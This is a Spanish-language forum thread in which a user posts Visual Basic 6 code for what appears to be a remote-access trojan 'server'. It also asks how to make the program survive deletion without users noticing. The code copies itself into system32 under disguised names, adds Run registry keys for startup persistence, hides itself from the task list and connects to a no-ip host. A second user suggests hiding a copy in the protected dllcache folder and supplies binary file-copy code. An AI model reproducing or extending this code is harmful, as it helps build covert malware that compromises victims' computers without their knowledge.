com puedo copiar Server en diferentes rutas

[shadow.darknesses]

miren este es el code de m server

Código:

Private Sub Form_Load()
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant
Dim obj
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
Kill sys & "\winslon.exe"
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "Yop"
App.TaskVisible = False
End Sub

ya miren le pondre ke se copia a mas partes
pero como puedo hacer, para ke se copia a una ruta especifica cada vez ke se encienda el pc,
y si es ke alguien lo borra de system32, va a estar en la otra carpeta y ke se ejecute desde esa otra carpeta al iniciar el pc, y ke no muestre mensaje de ke el archivo no kse encuentra en system32, xq o si no se daran cuenta

[crypto136]

hay una carpeta que segun creo es muy segura puesto que muy pocos revisan ahi es dllcache esta dentro de system32 es oculta y protegida por el sistema, si te das cuenta ahi se encuentran la mayoria de los archivos que hay en el system32, si no me equivoco eso es un respaldo, es una forma de windows de asegurarse de que los usuarios no borren los archivos del sistema, puedes hacer lo mismo que hiciste para copiar el programa en system32 y enviarlo a la carpeta mencionada... suerte 

[shadow.darknesses]

ok muchas gracias lo vere

[shadow.darknesses]

no encuentro esa carpeta

[crypto136]

debes ir a herramientas > Opciones de carpeta > Ver, aqui seleccionas la opcion "Mostrar todos los archivos y Carpetas ocultos", y tambien desmarcas la ficha "Ocultar Archivos Protegidos del sistema operativo(recomendado)" y listo podras ver la carpeta dllcache en system32 suerte

[shadow.darknesses]

gracias no sabia esto
"Ocultar Archivos Protegidos del sistema operativo(recomendado)"

[crypto136]

de nada man para eso estamos dispuesto a aportar   

[shadow.darknesses]

mira, me surgio un problema, xq diablos, no comienza desde ke inicia el pc este code

Código:

Private Sub Form_Load()
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant
Dim obj
On Error Resume Next
Set Residencia = CreateObject("WScript.Shell")
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
Kill sys & "dllcache\Wins32Dll.exe"
FileCopy ruta, sys & "dllcache\Wins32Dll.exe"
Kill sys & "\SystemLoaded.exe"
FileCopy ruta, sys & "\SystemLoaded.exe"
Residencia.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemLoaded", sys & "\SystemLoaded.exe"
Residencia.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Win32Dll", sys & "dllcache\Wins32Dll.exe"
ws.RemoteHost = "shadowdarknesses.no-ip.org"
ws.RemotePort = 2300
sname = "Yop"
App.TaskVisible = False
End Sub

no le encuentro la diferencia con el code de arriba
se registra bien en el registro, xq jui aver
y no se copia a "dllcache\Wins32Dll.exe" ni a  sys & "\SystemLoaded.exe"

[crypto136]

no crees que seria mas eficiente copiar el archivo en binario aca te pongo un ejemplo de como hacerlo (para que no uses la sentencia FileCopy) :

Código:

Private Sub Form_Load()

On Error GoTo men

'Array que contendrá los bytes del archivo.
Dim Data() As Byte
'Para el tamaño del archivo
Dim fLen As Long

'Abrimos el archivo en modo binario de solo lectura
Open App.Path & "\MiPrograma.exe" For Binary Lock Read As 1

'creamos un archivo para guardar los datos
'Fijate que puedes combinar los dos metodos metele Imaginacion
Open App.Path & sys & "\dlcache" & "\copiadeMiPrograma.exe" For Binary Access Write As 2

'Redimiensionamos el array al tamaño del archivo
fLen = FileLen(App.Path & "\MiPrograma.exe")

ReDim Data(fLen) As Byte
'Leemos el archivo entero y lo almacenamos en data
Get #1, , Data

'Escribimos los bytes en el nuevo archivo:
Put #2, , Data

'Cerramos los archivos
Close

MsgBox "Se creo el mismo archivo en el directorio c:"

Exit Sub

men:
MsgBox Err.Description
End
End Sub

codigo sacado de recursos Visual Basic
suerte men..